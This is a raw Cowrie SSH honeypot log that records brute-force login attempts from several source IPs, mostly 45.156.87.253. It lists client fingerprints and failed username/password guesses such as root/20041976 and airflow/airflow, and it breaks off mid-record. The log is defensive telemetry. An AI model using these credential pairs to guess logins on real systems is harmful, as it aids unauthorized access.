{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44090,"dst_ip":"10.17.0.5","dst_port":22,"session":"9118b6db8281","protocol":"ssh","message":"New connection: 45.156.87.253:44090 (10.17.0.5:22) [session: 9118b6db8281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:00.321964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:00.370034Z","src_ip":"45.156.87.253","session":"9118b6db8281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:00.406907Z","src_ip":"45.156.87.253","session":"9118b6db8281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:00.725173Z","src_ip":"45.156.87.253","session":"9118b6db8281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":37044,"dst_ip":"159.203.135.109","dst_port":22,"session":"24f322d8381c","protocol":"ssh","message":"New connection: 103.82.20.28:37044 (159.203.135.109:22) [session: 24f322d8381c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:01.610726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:01.615092Z","src_ip":"103.82.20.28","session":"24f322d8381c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:01.809572Z","src_ip":"45.156.87.253","session":"9118b6db8281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:01.888892Z","src_ip":"103.82.20.28","session":"24f322d8381c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20041976","message":"login attempt [root/20041976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:02.711136Z","src_ip":"103.82.20.28","session":"24f322d8381c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44102,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1471338bd23","protocol":"ssh","message":"New connection: 45.156.87.253:44102 (10.17.0.5:22) [session: d1471338bd23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:03.701066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:03.704566Z","src_ip":"45.156.87.253","session":"d1471338bd23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:03.785049Z","src_ip":"45.156.87.253","session":"d1471338bd23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:03.986724Z","src_ip":"103.82.20.28","session":"24f322d8381c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:04.030577Z","src_ip":"45.156.87.253","session":"d1471338bd23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:05.113574Z","src_ip":"45.156.87.253","session":"d1471338bd23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44106,"dst_ip":"10.17.0.5","dst_port":22,"session":"00b073e9d3b0","protocol":"ssh","message":"New connection: 45.156.87.253:44106 (10.17.0.5:22) [session: 00b073e9d3b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:07.031507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:07.034450Z","src_ip":"45.156.87.253","session":"00b073e9d3b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:07.114398Z","src_ip":"45.156.87.253","session":"00b073e9d3b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jellyfin","password":"password","message":"login attempt [jellyfin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:07.355965Z","src_ip":"45.156.87.253","session":"00b073e9d3b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:08.438970Z","src_ip":"45.156.87.253","session":"00b073e9d3b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59266,"dst_ip":"10.17.0.5","dst_port":22,"session":"16388f1ee7c6","protocol":"ssh","message":"New connection: 45.156.87.253:59266 (10.17.0.5:22) [session: 16388f1ee7c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:10.379486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:10.383782Z","src_ip":"45.156.87.253","session":"16388f1ee7c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:10.464510Z","src_ip":"45.156.87.253","session":"16388f1ee7c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:10.707258Z","src_ip":"45.156.87.253","session":"16388f1ee7c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.117.123","src_port":54276,"dst_ip":"10.17.0.5","dst_port":22,"session":"773cee8e8ab7","protocol":"ssh","message":"New connection: 143.198.117.123:54276 (10.17.0.5:22) [session: 773cee8e8ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:10.785752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:10.789625Z","src_ip":"143.198.117.123","session":"773cee8e8ab7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:10.795049Z","src_ip":"143.198.117.123","session":"773cee8e8ab7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:10.808952Z","src_ip":"143.198.117.123","session":"773cee8e8ab7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:11.790580Z","src_ip":"45.156.87.253","session":"16388f1ee7c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:11.814739Z","src_ip":"143.198.117.123","session":"773cee8e8ab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59276,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e13249609c2","protocol":"ssh","message":"New connection: 45.156.87.253:59276 (10.17.0.5:22) [session: 5e13249609c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:13.717930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:13.721330Z","src_ip":"45.156.87.253","session":"5e13249609c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:13.801337Z","src_ip":"45.156.87.253","session":"5e13249609c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:14.042962Z","src_ip":"45.156.87.253","session":"5e13249609c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:15.143505Z","src_ip":"45.156.87.253","session":"5e13249609c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59290,"dst_ip":"10.17.0.5","dst_port":22,"session":"386497d0492e","protocol":"ssh","message":"New connection: 45.156.87.253:59290 (10.17.0.5:22) [session: 386497d0492e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:17.096881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:17.100754Z","src_ip":"45.156.87.253","session":"386497d0492e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:17.181679Z","src_ip":"45.156.87.253","session":"386497d0492e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"12345","message":"login attempt [system/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:17.426005Z","src_ip":"45.156.87.253","session":"386497d0492e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:18.509718Z","src_ip":"45.156.87.253","session":"386497d0492e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":48084,"dst_ip":"10.17.0.5","dst_port":22,"session":"48bb86dd5284","protocol":"ssh","message":"New connection: 45.156.87.253:48084 (10.17.0.5:22) [session: 48bb86dd5284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:20.418507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:29:20.422253Z","src_ip":"45.156.87.253","session":"48bb86dd5284","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v